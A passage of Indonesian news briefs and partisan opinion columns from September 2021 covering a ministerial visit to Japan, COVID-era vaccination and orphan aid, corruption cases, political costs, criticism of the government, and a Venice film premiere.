kunjungan untuk mencari informasi mengenai kemungkinan pemberian hibah lokomotif dan gerbong kereta dari Jepang. “Saya berharap kedatangan saya ke Jepang dapat membawa hasil baik, bermanfaat dan khususnya dapat mengatasi beberapa kendala yang terjadi, mendorong proses sekaligus percepatan pembangunan proyek infrastruktur transportasi Indonesia. Kami meyakini kelanjutan kerja sama kedua negara sangat penting dan bermanfaat untuk memperkuat hubungan kerja sama dan meningkatkan hubungan ekonomi yang selama ini sudah berjalan dengan baik, khususnya dalam ikut membantu upaya pemulihan ekonomi nasional di masa pandemi ini,” ujarnya. Menhub mendarat di Tokyo pada Minggu (5/9) disambut oleh Dubes Jepang. Kunjungan kerja akan berlangsung hingga Rabu (8/9) mendatang. Delegasi RI yang turut hadir selain dari Kemenhub adalah dari Kementerian Koordinator Bidang Maritim dan Investasi serta Kementerian Investasi. Sebagai informasi, selama berada di Jepang, semua pertemuan dilakukan hanya di lingkungan hotel tempat menginap kecuali pertemuan dengan para Menteri Jepang. Seluruh delegasi RI diwajibkan menerapkan protokol kesehatan Covid-19 yang sangat ketat dan sangat khusus mengikuti aturan travel bubble yang berlaku di Jepang dan Indonesia serta kesepakatan di antara kedua negara. (mth)

Anies Imbau Jakmania Dukung Persija dari Rumah

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan mengimbau Jakmania, sebutan bagi suporter klub sepak bola Persija untuk memberikan dukungan dari rumah kepada tim kesayangannya yang akan berlaga di kompetisi Liga I-2021 menghadapi PSS Sleman. "Dukungan dan semangat kita semua akan sampai kepada para pemain, akan menjadi bahan bakar yang ikut mendorong stamina, semangat dan mengantarkan kemenangan untuk tim kebanggaan kita, Persija," katanya melalui @aniesbaswedan di Jakarta, Minggu. Pertandingan perdana Persija kontra PSS Sleman ditayangkan di salah satu stasiun televisi swasta mulai pukul 20.30 WIB, Minggu (5/9) yang disiarkan langsung dari Stadion Pakansari, Bogor. Anies menambahkan dukungan dari rumah tidak mengurangi semangat kepada punggawa Persija Jakarta itu karena mengingat saat ini masih pandemi COVID-19. Meski begitu, dia menambahkan mulai bergulirnya kompetisi Liga I tersebut akan mengobati kerinduan masyarakat kepada kesebelasan yang dikenal dengan nama Macan Kemayoran itu. Ia juga berpesan kepada para pemain Persija untuk tetap semangat dan memberikan yang terbaik bagi warga Jakarta. "Untuk semua para punggawa Jakarta tetap semangat, tetap ngotot, tetap berikan yang terbaik dalam setiap pertandingan karena bagi kami kemenangan Persija bukan hanya menambah tiga poin tapi dia menggoreskan senyum bahagia dan bangga kepada setiap warga di Ibu Kota," ucapnya. (mth)

Pemprov Jabar Bantu Pendidikan Anak Yatim Piatu Terdampak Pandemi

Bandung, FNN - Pemerintah Provinsi Jawa Barat bersama pemkab/pemkot siap mendampingi dan membantu biaya pendidikan anak-anak di provinsi itu yang berstatus yatim piatu yang orang tuanya meninggal karena COVID-19. “Semua yang menjadi yatim piatu karena orang tuanya meninggal COVID-19, tentu nomor satu pendidikannya akan kita urus semuanya minimal sampai SMA atau SMK,” kata Gubernur Jawa Barat Ridwan Kamil dalam siaran persnya, Minggu. Menurut Gubernur, pada dasarnya sekolah di Jawa Barat sudah gratis biaya operasional dan SPP mulai dari tingkat SD, SMP yang jadi kewenangan kab/kota hingga SMA yang dibidani provinsi. “Tentu ada keseharian di luar biaya gratis SPP-nya atau Biaya Satuan Pendidikan (yang tidak gratis). Itu akan kita rumuskan,” katanya. Gubernur melihat banyak masyarakat berkemampuan atau perusahaan ingin berpartisipasi menyantuni masyarakat lain yang membutuhkan bantuan. Pemda Prov Jabar terbuka untuk bantuan yang mekanismenya akan dirumuskan. “Jadi di luar pemerintah menjamin pendidikannya, sosialnya juga banyak yang ingin membantu, itu kami sedang rumuskan,” kata Ridwan Kamil. Dinas Sosial Provinsi Jabar sementara mencatat ada 5.642 anak jadi yatim piatu karena orang tuanya meninggal COVID-19. Data tersebut hingga saat ini masih terus diperbarui dan disinkronkan dengan kabupaten/kota. Verifikasi data dilakukan untuk menjamin tidak ada anak yang terlewat. (mth)

Warga Depok Antri Sejak Pagi untuk Vaksin

Depok, FNN - Wakil Wali Kota Depok, Imam Budi Hartono menyatakan warga di daerah itu sangat antusias untuk mengikuti vaksinasi COVID-19 guna mempercepat mendapat kekebalan kelompok di kota tersebut, yang ditandai dengan warga yang antre sejak pagi sekali. "Warga sekarang memang sangat antusias untuk divaksin. Bahkan ada yang dari pagi sekali untuk menunggu. Maka itu, harus dibuatkan tenda atau tempat duduk agar tidak kepanasan. Bisa juga dibuat rekayasa dalam antrean, misalnya dengan nomor agar tidak ada penumpukan," katanya di Depok, Jawa Barat, Minggu. Pemerintah Kota (Pemkot) Depok menggelar gebyar vaksinasi secara serentak di 11 kecamatan yang berlangsung selama lima hari, mulai 1 hingga 5 September 2021. Wakil Wali Kota mengingatkan semua pihak yang telah menjalani vaksin agar tetap menerapkan protokol kesehatan (prokes) COVID. Dikatakannya bahwa dalam setiap kegiatan peninjauan pelaksanaan vaksin COVID-19 pihaknya selalu mengingatkan penyelenggara agar proses vaksinasi COVID-19 tidak menimbulkan kerumunan. Selain itu, kenyamanan warga juga harus menjadi perhatian. Ia menjelaskan vaksinasi saat ini difokuskan pada warga usia sekolah maupun remaja. Hal itu untuk mempersiapkan pembelajaran tatap muka pada Oktober 2021, jika kasus COVID-19 angkanya menurun. Selain di 11 kecamatan, katanya, Pemkot Depok juga menggelar vaksin di Rumah Sakit Umum Daerah (RSUD) Kota Depok. Untuk mendapatkannya, calon peserta harus melengkapi ketentuan yang berlaku. Warga yang berminat mendapatkan vaksin ini bisa mengakses link pendaftaran https://s.id/DAFTAR-VAKSINCOVIDRSUDDEPOK. Setelah mengisi formulir pendaftaran warga bisa datang pada waktu yang sudah mereka pilih, demikian Imam Budi Hartono. (sws)

KPK Didesak Tetapkan Azis Syamsuddin Jadi Tersangka

Jakarta, FNN - Koordinator Tim Pembela Demokrasi Indonesia (TPDI) Petrus Salestinus meminta Komisi Pemberantasan Korupsi (KPK) segera menetapkan Wakil Ketua DPR RI Azis Syamsuddin sebagai tersangka. Petrus, dalam keterangannya yang diterima di Jakarta, Sabtu.menyebut fakta keterlibatan Azis dalam dugaan kasus korupsi jual beli jabatan yang melibatkan Wali Kota Tanjungbalai, Sumatera Utara M Syahrial dan mantan penyidik KPK Stepanus Robin Pattuju sudah sangat terang-benderang. "Fakta-fakta hukum yang terungkap dalam persidangan Syahrial dan pemeriksaan Dewan Pengawas (Dewas) KPK terhadap Robin semakin memperjelas peran dan keterlibatan Azis. Azis terlihat berusaha merintangi penyidikan dugaan korupsi Syahrial di KPK," kata Petrus. Ia pun mengutip pernyataan Ketua KPK Firli Bahuri pada 24 April 2021 yang menyebut peran Azis dalam memfasilitasi dan membantu mempertemukan Robin dengan Syahrial. Diketahui, pada 24 April 2021 adalah jumpa pers KPK dihadiri oleh Firli terkait penahanan Syahrial yang sebelumnya telah ditetapkan sebagai tersangka bersama Robin dan advokat Maskur Husain dalam kasus dugaan suap terkait penanganan perkara Wali Kota Tanjungbalai Tahun 2020-2021. Kemudian, kata dia, dalam pembacaan surat dakwaan terhadap Syahrial oleh Jaksa Penuntut Umum (JPU) KPK pada 12 Juli 2021 telah membeberkan peran Azis untuk menghentikan perkara. Disebutkan juga Azis berperan memfasilitasi Syahrial bertemu dengan Robin di rumah jabatan Wakil Ketua DPR. Selanjutnya, fakta persidangan terkait kesepakatan Syahrial membayar uang sebesar Rp1,5 miliar kepada Robin untuk menghentikan penyidikan. Fakta lain, lanjut Petrus, adalah hasil penelusuran dan putusan Dewas KPK yang menyebut Robin menerima uang dari Azis sebesar Rp3,15 miliar. Uang itu diduga untuk menghentikan perkara di Lampung Tengah terkait dengan Aliza Gunado. "Dari fakta-fakta itu, ada beberapa peristiwa pidana korupsi yang melibatkan Azis. Mulai dari suap, permufakatan jahat untuk menghentikan penyidikan dan larangan bagi pegawai KPK bertemu pihak yang sedang diperiksa KPK. Jadi, sudah cukup kuat alasan untuk naikan status Azis dari saksi menjadi tersangka disertai penahanan, mengingat masa cekal Azis akan segera berakhir," ujar Petrus. Oleh karena itu, ia mengingatkan KPK tidak mengulur-ulur waktu untuk melakukan penindakan terhadap Azis. Alasannya, bisa melahirkan rekayasa "post factum" yang merupakan modus baru menyangkal fakta-fakta hasil penyidikan. "Post factum" akan mengacaukan fakta-fakta hasil penyidikan KPK bahkan hasil pemeriksaan Dewas KPK yang menyebut total dana yang diterima oleh Robin dari Syahrial sebesar Rp10 miliar. "Azis menyebut hanya memberikan Rp200 juta kepada Robin sebagai pinjaman. Padahal selama penyidikan dan pemeriksaan Dewas KPK tidak terungkap. Ini modus baru dalam bentuk "post factum", tutup Petrus. (sws)

Bambang Widjojanto: Unsur Korupsi Gubernur Sumbar Perlu Kajian

Padang, FNN - Praktisi hukum Bambang Widjojanto mengemukakan, unsur korupsi dalam surat permintaan sponsor penerbitan buku profil Sumatera Barat (Sumbar) yang menggunakan kop dan ditandatangani oleh Gubernur Mahyeldi masih perlu kajian. "Ada pertanyaan yang muncul apakah surat tersebut terdapat unsur korupsi mengacu kepada pasal 12 huruf e UU Tipikor. Untuk menjawabnya perlu diajukan beberapa pertanyaan yang harus didiskusikan," kata dia saat dihubungi dari Padang, Sabtu. Dalam pasal 12 huruf e UU Tipikor dinyatakan "pegawai negeri atau penyelenggara negara yang dengan maksud menguntungkan diri sendiri atau orang lain secara melawan hukum atau dengan menyalahgunakan kekuasaannya memaksa seseorang memberikan sesuatu, membayar atau menerima pembayaran dengan potongan atau untuk mengerjakan sesuatu bagi dirinya sendiri" Menurut mantan wakil Ketua KPK tersebut, bila melihat perihal surat penerbitan profil dan potensi Sumbar maka perlu diajukan pertanyaan, apakah surat ditujukan untuk menguntungkan diri sendiri atau orang lain. "Sebab surat itu ditujukan justru untuk kepentingan dan keuntungan pembangunan Sumatera Barat," kata dia. Kemudian jika dilihat cara tindakannya, yaitu dengan suatu surat dan isi dari surat perlu dipertanyakan, apakah ada atau tidak ada "job desk" gubernur atau aturan di pemerintahan daerah yang dilanggar dalam kaitannya dengan penerbitan surat tersebut. "Ini perlu diperiksa karena surat itu sudah dikaji dan dirumuskan lebih dulu oleh SKPD di bawahnya yang juga disetujui oleh sekda," katanya. Dengan begitu, menurut dia, sulit untuk menjelaskan pertanyaan apa ada unsur melawan hukum atau dugaan penyalahgunaan kewenangan serta adanya kepentingan dari penandatangan surat itu. Selain itu, dia melihat ujung dari tujuan surat berupa permohonan dengan kalimat diharapkan kesediaannya untuk dapat berpartisipasi dan kontribusi dalam mensponsori penyusunan dan penerbitan buku. "Maka apakah bisa dibuktikan dan bisa dilihat adanya unsur paksaan yang dilakukan oleh pembuat isi surat itu," kata dia. Sebelumnya, Polresta Padang mengamankan lima orang yang mengedarkan surat permohonan sponsorship penerbitan buku profil dan potensi Sumbar bertandatangan Gubernur Sumbar Mahyeldi. Kasatreskrim Polresta Padang, Kompol Rico Fernanda menyampaikan lima orang yang diamankan bukan ASN Pemprov Sumbar yang kemudian berstatus sebagai saksi. Rico menyampaikan hingga saat ini pihaknya telah memeriksa 10 saksi dari kalangan pemerintah provinsi (Bappeda), lima orang sebagai terlapor dan lainnya. Selain itu, Kepolisian juga mengamankan ratusan surat yang rencananya disebar ke berbagai instansi ataupun lembaga di daerah setempat. Surat tersebut tertanggal 12 Mei 2021 bernomor 005/3904/V/Bappeda-2021, sedangkan perihalnya adalah penerbitan profil dan potensi Provinsi Sumatera Barat. Di dalam surat terbubuh tanda tangan Gubernur Mahyeldi itu, digunakan oleh lima orang untuk meminta uang kepada sejumlah pihak. Dalam surat dibunyikan agar penerima surat berpartisipasi dan kontribusi dalam mensponsori penyusunan dan penerbitan buku profil "Sumatera Barat "Provinsi Madani, Unggul dan Berkelanjutan" dalam versi Bahasa Indonesia, Bahasa Inggris serta Bahasa Arab serta dalam bentuk "soft copy". Surat itu menjadi polemik karena ada warga yang melapor ke polisi dan menemukan keanehan. Warga tersebut merasa aneh karena surat bertandatangan gubernur disebarkan oleh orang yang bukan pegawai serta uang untuk dukungan sponsor pun disetor ke rekening pribadi bukan rekening daerah atau dinas. Laporan itu kemudian ditindaklanjuti dengan penelusuran serta mengamankan kelima orang berikut surat-surat yang dibawa. Hingga saat ini penyidik Kepolisian Resor Kota (Polresta) Padang belum menentukan status untuk kasus permintaan sponsor dengan bermodalkan surat bertandatangan Gubernur Sumbar Mahyeldi. (sws)

Partai Gelora: Biaya Pemilu Mahal Bumerang Bagi Demokrasi

Jakarta, FNN - Wakil Ketua Umum Partai Gelora Indonesia Fahri Hamzah mengatakan mahalnya biaya politik yang harus dikeluarkan dalam pemilu presiden (pilpres), pemilu legislatif (pileg), dan pemilihan kepala daerah (pilkada), telah menjadi "bumerang" bagi keberlangsungan sistem demokrasi dan keberadaan partai politik di Indonesia. "Hal itu melahirkan praktik-praktik korup yang dilakukan para politisi atau pejabat yang terpilih. Karena keterpilihan mereka tidak ditentukan kualitas dan kapabilitasnya, tapi 'isi tas' atau besaran dana politik yang bersumber dari kantong pribadi atau dari penyandang dana," kata Fahri dalam keterangannya, di Jakarta, Minggu. Dia menilai tidak mengherankan apabila ketika para politisi atau pejabat terpilih dalam jabatan tertentu, maka yang terpikir pertama kali adalah bagaimana mengembalikan biaya politik yang telah dikeluarkan agar "balik modal". Menurut dia, hampir tidak ada klaster politik yang tidak ditangkap Komisi Pemberantasan Korupsi (KPK), dan kasus terbaru adalah seorang anggota DPR dengan istrinya yang merupakan seorang bupati ditangkap KPK. Fahri mengatakan, kerusakan sebuah negara demokrasi, bisa dilihat setidaknya dari tingkah laku parpolnya terutama yang masuk dalam lingkaran kekuasaan. "Segera dilakukan pembenahan agar parpol dan sistem demokrasinya sehat. Partai politik itu sebenarnya lembaga pemikiran untuk mengintroduksi cara berpikir dalam penyelenggaraan negara, namun sekarang justru menjelma menjadi mesin kekuasaan," ujarnya. Dia menegaskan bahwa Partai Gelora akan berusaha untuk memutus "lingkaran setan" tersebut, karena pertarungan politik adalah pertarungan rakyat, bukan pertarungan pribadi atau partai politik. Menurut dia, negara yang beres sistem politiknya harus bebas korupsi, sehingga sistemnya harus ditata dan dikelola dengan baik, termasuk soal pembiayaan politik. "Saya juga tidak mau kalau calon anggota legislatif (caleg) dibiayai partai, karena kalau dia bersalah, partai politik akan mengambil kepemilikannya," katanya lagi. Fahri menilai pembiayaan politik yang mahal sebenarnya bisa disiasati dan ditekan seminimal mungkin dengan berbagai cara, misalnya menggelar pertemuan secara virtual dibandingkan bertemu dengan cara bertatap muka. Ketua Bidang Perempuan DPN Partai Gelora Indonesia Ratih Sanggarwati mengatakan partai akan mendorong kaum perempuan untuk maju dalam konstestasi Pemilu 2024 dalam rangka memenuhi keterwakilan 30 persen perempuan di parlemen. "Saya berharap semua perempuan di seluruh wilayah Indonesia yang memiliki kapasitas yang hebat untuk maju sebagai kandidat di pemilu. Tidak lagi berpikir terganjal biaya politik yang mahal, tapi harus kita dorong untuk mampu dan mau berkontestasi pada pemilu terutama untuk memenuhi kuota keterwakilan 30 persen perempuan," ujarnya. Dia menilai praktik-praktik pembiayaan politik yang mahal selama ini tidak mencerdaskan masyarakat dan hanya menyuburkan perilaku korupsi, sehingga muncul istilah "Serangan Fajar" dan "Wani Piro?". Menurut dia, tindakan tersebut harus dihindari, karena selain melanggar aturan, praktik-praktik politik seperti itu sangat tidak mencerdaskan masyarakat. Ratih mengatakan sebaiknya dana kampanye disiapkan untuk membuat berbagai alat peraga kampanye atau untuk membuat iklan di media massa jika diperlukan sebagai upaya mengedukasi masyarakat. (sws)

Bung Radhar Sudah Lurus

By M Rizal Fadillah APA yang ditulis oleh Radhar Tribaskoro berjudul "Bung Zulhas" itu sebenarnya sudah sangat benar. Artinya tidak ada hal yang menegasikan pandangan Zulhas. Hanya Radhar diujung tulisan membuat warning agar Zulhas dan partai nya tetap berjalan di jalur reformasi. Itupun sudah sangat tepat. Tulisan Lutfi Nasution yang mencoba meluruskan sebenarnya tidak perlu, apalagi sampai bahasa "terkejut". Radhar menegaskan bahwa sila keempat Pancasila tentang kerakyatan "yang dipimpin" tidak boleh disimpangkan menjadi demokrasi terpimpin sebagaimana pernah diimplementasikan pada periode kepemimpinan Soekarno 1959-1965. Presiden yang memiliki kekuasaan besar sering membangun tafsir sendiri soal norma-norma kenegaraan. Soekarno adalah contoh. Menurut Radhar tahun-tahun kepemimpinan Soekarno adalah "periode gelap" yang menjadikan Presiden sebagai diktator. Kediktatoran itu di samping disebabkan oleh tafsir sendiri atas norma kenegaraan juga akibat dukungan tanpa syarat dari lingkaran dalam dan luar atas kepemimpinan absolutnya. Ini yang dikhawatirkan Radhar kepada siapapun, termasuk Zulhas, yang bisa saja menjadi pendukung bagi pergeseran sistem pemerintahan ke arah demokrasi terpimpin. Menurut Radhar seharusnya keterpimpinan itu bukan pada personal tetapi pada nilai "hikmat dan kebijaksanaan" dengan mekanisme "permusyawaratan" sebagaimana rumusan tegas sila keempat Pancasila. Kewaspadaan ini menjadi penting mengingat fenomena politik saat ini adalah tampilan loyalitas tanpa syarat. Pertemuan puja puji Ketum Partai koalisi di Istana baru-baru ini menjadi contoh. Zulhas termasuk di dalamnya. Radhar sebenarnya mengingatkan dan mengkhawatirkan akan hal itu. Apalagi pemerintahan Jokowi sejak 2015 juga telah cenderung bersifat oligarkhis dan otoriter. Kooptasi dan kendali atas partai politik dapat menjadi peta jalan bagi demokrasi terpimpin sebagaimana dahulu Soekarno berhasil menghimpun kekuatan Partai Politik dalam wadah Front Nasional. Zulhas tentu saja tidak mendukung demokrasi terpimpin, tetapi melihat arah politik kini yang oligarkhis dan otoritarian bukan mustahil secara tidak disadari para Ketua Umum partai koalisi telah dan akan memberi andil bagi arah terwujudnya sistem pemerintahan demokrasi terpimpin tersebut. Radhar Tribaskoro sekadar mengingatkan. Bung Radhar tak perlu diluruskan. Ia menjadi radar rakyat yang mencium gelagat arah dari politik yang semakin buruk. *) Pemerhati Politik dan Kebangsaan

Reign of Fear: Cara Orang Bodoh Meminpin Negara

By Asyari Usman JUDUL tulisan ini lebih-kurang bermakna “menjalankan kekuasaan dengan cara menakut-nakuti”. Kalau Anda buka kamus, kemungkinan besar arti “reign of fear” (ROF) itu adalah “pemerintahan ketakutan”. Pada dasarnya, kekuasaan pemerintahan yang mengandalkan ancaman. Bisa ancaman pidana, ancaman penjara, ancaman penangkapan, dsb. Bahkan pembunuhan dan penyiksaan. Di bawah cengkeraman “reign of fear”, pihak oposisi dan pengeritik selalu dihantui ketakutan. Takut dipenjarakan. Takut serangan fisik. Dan takut proses hukum yang selalu dimenangkan oleh pihak yang berkuasa. Sumber hukum tertinggi “reign of fear” adalah dua pasal yang sangat terkenal di dunia hukum rimba. Pasal 1, penguasa tidak pernah salah. Pasal 2, kalau penguasa salah, lihat Pasal 1. Di Indonesia, “reign of fear” itu mengambil beberapa bentuk implementasi. Pertama, mengandalkan kebrutalan aparat keamanan. Ada demo, sikat. Ada gejala aksi protes meluas, tindas habis. Atau ditangkap dengan tuduhan yang bisa dibelok-belokkan sesuka hati penguasa. Peluru karet dan peluru tajam tak tentu lagi mana yang duluan dipakai. Gas air mata adalah kesewenangan yang teringan. Ciduk orang-orang yang terlihat “leading” di demo jalanan. Tujuannya adalah menimbulkan efek jera. Supaya orang takut berdemonstrasi. Kedua, mengandalkan pasal-pasal UU ITE. Yang digunakan untuk mengancam kaum oposisi pemakai media sosial (medsos). Juga untuk mengancam para penulis yang tak sejalan dengan penguasa. Pasal-pasal ITE sangat elastis. Bisa ke mana saja. Penggunaanya sama dengan berbagai pasal karet UU antisubversi di tahun 70-an hingga 80-an. Ketiga, pengendalian sejumlah platform media sosial (medsos) termasuk Facebook, Twitter, Youtube, dll. Para pejabat menggunakan kekuasaan mereka untuk memblokir atau menskorsing akun-akun medsos yang kritis. Keempat, tekanan langsung kepada media atau acara televisi yang populer di masyarakat tetapi merugikan penguasa. Penghentian talk-show Indonesia Lawyers Club (ILC) adalah contoh tindakan brutal terhadap media yang tidak memihak penguasa. Itulah antara lain praktik-praktik yang mendukung “reign of fear”. Tebar ketakutan di tengah masyarakat khususnya di kalangan pengguna media sosial. Dalam bentuk yang ekstrem, penguasa ROF tidak segan-segan melakukan tindakan yang tidak seharusnya terjadi di sebuah negara yang menerapkan demokrasi. Bentuk ekstrem ini antara lain pembunuhan sadis, penyiksaan, penghilangan, atau pencederaan terhadap orang-orang yang dianggap sebagai musuh penguasa. Misalnya, pembacokan di jalanan oleh orang tak dikenal. Penyiraman air keras. Atau intimidasi langsung ke lingkungan tempat tinggal orang-orang yang kritis. Tindakan-tindakan sadis seperti contoh di atas sebagian terungkap sebagai operasi resmi atas nama institusi keamanan. Ada pula operasi oknum aparatur keamanan. Ini sangat menakutkan. Sebab, orang-orang kritis itu boleh dikatakan “tak berdaya”. Sangat rentan untuk diserang secara fisik di mana saja. Begitulah cara kerja ROF. Seram dan kejam. Itu mereka lakukan untuk menimbulkan ketakutan kepada orang yang bersuara sumbang terhadap penguasa. Seperti apa tipe penguasa yang menggunakan ROF? Secara universal, ROF dilakukan oleh orang-orang yang peradabannya adalah kebiadaban. Penguasa tak rela menerima kritik pedas. Kekerasan adalah argumentasi mereka. Di negara-negara otoriter, ROF tidaklah mengherankan. Tapi, sangat tak masuk akal kalau itu terjadi di negara dengan sistem demokrasi. Lalu, mengapa ROF bisa muncul di negara demokratis? Hanya ada satu kemungkinan. Bahwa cara ini adalah andalan utama para penguasa yang “terpilih secara demokratis” namun tidak memiliki kapabilitas (kemampuan) untuk mengelola negara. Kebodohan dan ketidakmampuan menjelma setiap hari. “Reign of fear” diaktifkan untuk menutupi ketidakmampuan dan kebodohan itu. Sebagai catatan, "reign of fear" dekat-dekat dengan "reign of terror". Yaitu, menjalankan kekuasaan dengan meneror rakyat sendiri. Cara-cara ROF memang bisa membantu para penguasa mempertahankan kekuasaan mereka. Tetapi, di sepanjang kekuasaan itu pula berlangsung ketegangan antara penguasa dan rakyat. Hubungan yang tegang itu adalah bom waktu. Pasti akan sampai ke detik-detik terakhir “timer”-nya.[] (Penulis wartawan senior FNN)

Luput Interpelasi Formula E, Muncul Petisi: GM Satu di Antara Inisiatornya

Oleh Ady Amar *) FRAKSI partai politik DPRD DKI Jakarta, PDIP dan PSI, gagal ajukan Interpelasi berkenaan dengan pembatalan penyelenggaraan Formula E, karena penolakan 7 fraksi partai politik lainnya. Akrobat dua partai tadi, itu hal yang sudah biasa dilakukan. Semua yang sedang dikerjakan dan akan dikerjakan Anies Baswedan, Gubernur DKI Jakarta, menjadi aneh jika tidak disikapi negatif. Anies dibuat tanpa ada baiknya, dibuat tampak buruk. Maka, sekali lagi, hal biasa jika dua partai tadi bersikap menolak kebijakan yang dibuat Anies Baswedan. Kegagalan interpelasi itu diserupakan pahlawan yang gagal di medan laga. Maka di kantor DPRD DKI Jakarta, dipenuhi belasan karangan bunga tanda respek atas perjuangan dua partai tadi. Semacam tradisi "tipu-tipu" mencoba menggiring opini, seolah karangan bunga itu diberikan "rakyat" Jakarta karena perjuangan keras dua partai tadi. Gak jelas siapa pengirimnya, tapi muncul nama pengirimnya dibuat aneh-aneh, seperti ngasal saja dalam memberi nama. Misal, nama pengirimnya, "Forum Duda", "Pemerhati Teman Makan Malam", dan nama-nama aneh lainnya. Pengirimnya bisa jadi diri sendiri, dan itu untuk memuji diri sendiri. Hehehee... Sejak era Ahok kalah dari Anies di Pilkada DKI Jakarta (2017), tradisi kirim karangan bunga seperti dilestarikan. Saat itu ribuan karangan bunga dikirim atas kekalahan Ahok, seolah ingin disimbolkan bahwa kalahnya itu bukan kalah sebenarnya, tapi kalah oleh politik aliran yang dihembuskan kaum fanatik (Islam). Kalah yang tidak mau disebut kalah, lalu cari-cari alasan. Aneh memang, kalah kok dapat karangan bunga. Tapi sebenarnya ada cerita di balik karangan bunga itu. Begini ceritanya... Ahok-Djarot oleh pendukungnya sudah dibayangkan pemenang dalam pilkada DKI Jakarta 2017 itu. Segala hitung-hitungan sudah dibuat, segala cara sudah ditempuh. Maka perayaan kemenangan sudah direncanakan sebelum pencoblosan. Termasuk mempersiapkan ribuan ucapan kemenangan dengan karangan bunga. Uang pun sudah dibayarkan pada perusahaan jasa pembuat karangan bunga. Tapi setelah jagoannya dinyatakan kalah, sedang uang sudah dibayarkan, dan daripada uang hilang maka pesan dalam karangan bunga yang tadinya Selamat Atas Kemenangan... diubah menjadi ucapan bernada belangsungkawa atas kekalahan itu. Isinya dengan narasi macam-macam, intinya penuh ratapan. Maka pengiriman karangan bunga dijadikan media politik absurd. Jadi tradisi yang berketerusan, itu bisa dilihat juga saat Pangdam Jaya, Mayjen Dudung Abdurrahman perang terhadap ratusan baliho Habib Rizieq Shihab. Maka markas Pangdam Jaya dipenuhi karangan bunga, yang intinya dukungan atas langkah "perang" lawan baliho. Tradisi karangan bunga yang dikirim berikutnya, pasca keoknya Ahok, itu tampak ada kaitan dengan mereka yang belum move on dengan kekalahan pilkada DKI Jakarta. Habib Rizieq dianggap sosok yang bekerja keras memenangkan Anies saat itu. Makanya itu Pangdam Jaya dianggap simbol pahlawan dalam "peperangan" melawan Habib Rizieq. Sedang "mengerjai" Anies, yang selalu diwakili PDIP dan PSI, itu bukan sekadar memori kekalahan 2017 yang tidak terlupa, tapi lebih pada menjegal agar Anies bukan sosok yang pantas tampil pada perhelatan Pilpres 2024. Menggagalkan penyelenggaraan Formula E dengan dalih macam-macam, itu juga bagian dari itu. Dan tentu tidak akan berhenti, akan terus ada berbagai macam godaan "ditembakkan" pada Anies. Muncul Petisi Gagal lewat Interpelasi di DPRD DKI Jakarta, yang diwakili PDIP dan PSI, langkah menggagalkan Formula E ini diteruskan lewat Petisi, yang digagas 19 orang. Dari 19 orang ini ada jurnalis gaek Goenawan Mohamad (GM), musisi Ananda Sukarlan, yang memang Ahokers sejati, yang menjadikan Anies musuh sepanjang masa. Lalu politisi senior yang sudah pensiun, Sarwono Kusumaatmadja, sosiolog UI Imam Prasodjo. Tidak ketinggalan intelektual Yudi Latif, Akhmad Sahal, Inayah Wahid, dan lainnya. Cukup bervariasi mereka yang buat petisi yang ditujukan pada ke-7 Fraksi DPRD DKI Jakarta yang menolak Interpelasi. Intinya, mereka setuju bahwa silahkan menyelenggarakan perhelatan Formula E, tapi tidak menggunakan dana APBD. Heheheee... Seperti tawar-menawar saja lagaknya. Interpelasi tidak diinginkan diselenggarakan Formula E, karena masa pandemi. Sedang petisi diarahkan untuk tidak memakai dana APBD. Petisi dicukupkan hanya 500 penandatangan. Mungkin mereka merasa bahwa jumlah segitu sudah dianggap cukup mewakili warga Jakarta. Tidak persis tahu latar belakang inisiator mengajukan petisi itu, apakah memang ada hal pribadi masa lalu yang mengganjal yang tidak bisa dihilangkan bersangkutan dengan Anies Baswedan. Mungkin beberapa orang darinya bisa terlacak, tetapi yang lain tampaknya tidak berhubungan. Tampak lebih sebagai solidaritas antarkawan. Jika tidak, maka mereka yang senior itu seharusnya melakukan tabayun menemui Anies di Balai Kota DKI, guna mendiskusikan dengan berkenaan penyelenggaraan Formula E itu. Bukan lalu membuat petisi segala. Banyak peristiwa lebih dahsyat yang muncul di republik ini, misal tentang KPK yang dimandulkan, atau saat pembahasan UU Cipta Kerja, pembangunan kereta cepat Jakarta-Bandung, yang biayanya membengkak dari Rp 86,1 triliun, jadi Rp 113 triliun. Naik Rp 26,91 triliun... mereka adem-adem saja, gak keliatan geliatan penolakannya. Eh giliran Anies mau buat ajang internasional, yang itu akan mengangkat tidak saja nama Jakarta, tapi juga nama Indonesia, kok mesti direcoki. Maunya apa sih, tahun 2024 masih jauh, lagian Anies pun belum tentu diusung partai politik yang ada untuk maju sebagai Capresnya. Heran juga lihat sikapnya, paranoid kok dipelihara! (*) *) Kolumnis

Interpretasi Putri Diana Versi Kristen Stewart Pukau Venesia

Jakarta, FNN - Interpretasi Putri Diana dari aktris Kristen Stewart di film "Spencer" disambut hangat di Festival Film Venesia tempat penayangan perdana, Jumat waktu setempat, di mana beberapa kritikus menyebutnya akan jadi favorit di Oscar. Sutradara Pablo Larrain menyuguhkan transformasi Kristen Stewart sebagai putri yang sedang mengalami berbagai masalah saat bergabung dengan keluarga kerajaan selama tiga hari acara natal di Sandringham House di tengah pernikahannya yang mulai runtuh dengan Pangeran Charles. Dilansir Reuters, film tersebut menggambarkan Diana sebagai orang yang merasa tidak cocok dengan kerajaan, merasa terisolasi dan jauh dengan keluarga sang suami, kecuali dengan William dan Harry, serta ingin bebas dari aturan dan tradisi yang dianggap mengekang. Bicara setelah pemutaran perdana mengenai peninggalan Diana usai kematiannya 24 tahun lalu, Kristen Stewart mengatakan, "Saya rasa ini memang sudah ada dalam dirinya." "Ada sebagian orang yang dianugerahi energi luar biasa. Hal menyedihkan dari dia adalah meski dia terlihat normal dan kasual, dia juga merasa sangat kesepian dan terisolasi." Kristen Stewart dipuji atas penampilannya yang luar biasa, termasuk logat yang dipakai anggota kerajaan. Walau film ini menyampaikan kesedihan, dia menikmati pengalaman mendalami karakter Diana, tingkah laku dan sikapnya, walau semua itu langsung dia tinggalkan begitu keluar dari lokasi syuting. Dalam film, Diana sering terlambat makan malam, sering meninggalkan meja makan secara mendadak karena ingin muntah akibat gangguan pola makan, juga frustrasi karena pelayan dan staf selalu mengatur perilaku yang harus ia lakukan. Anggota kerajaan disebut sebagai "mereka" dan Diana hanya bicara sekilas dengan Ratu atau Pangeran Charles, dia lebih memilih curhat dengan juru rias atau koki. Dalam satu adegan, dia berkata merasa seperti serangga yang dibedah di bawah mikroskop, mengacu kepada paparazi di luar dan pengawas di dalam istana. Sebagai aktris Hollywood, Kristen Stewart bisa sedikit memahami perasaan diburu dan tidak bisa mengontrol situasi yang Diana alami. "Sering sekali saya 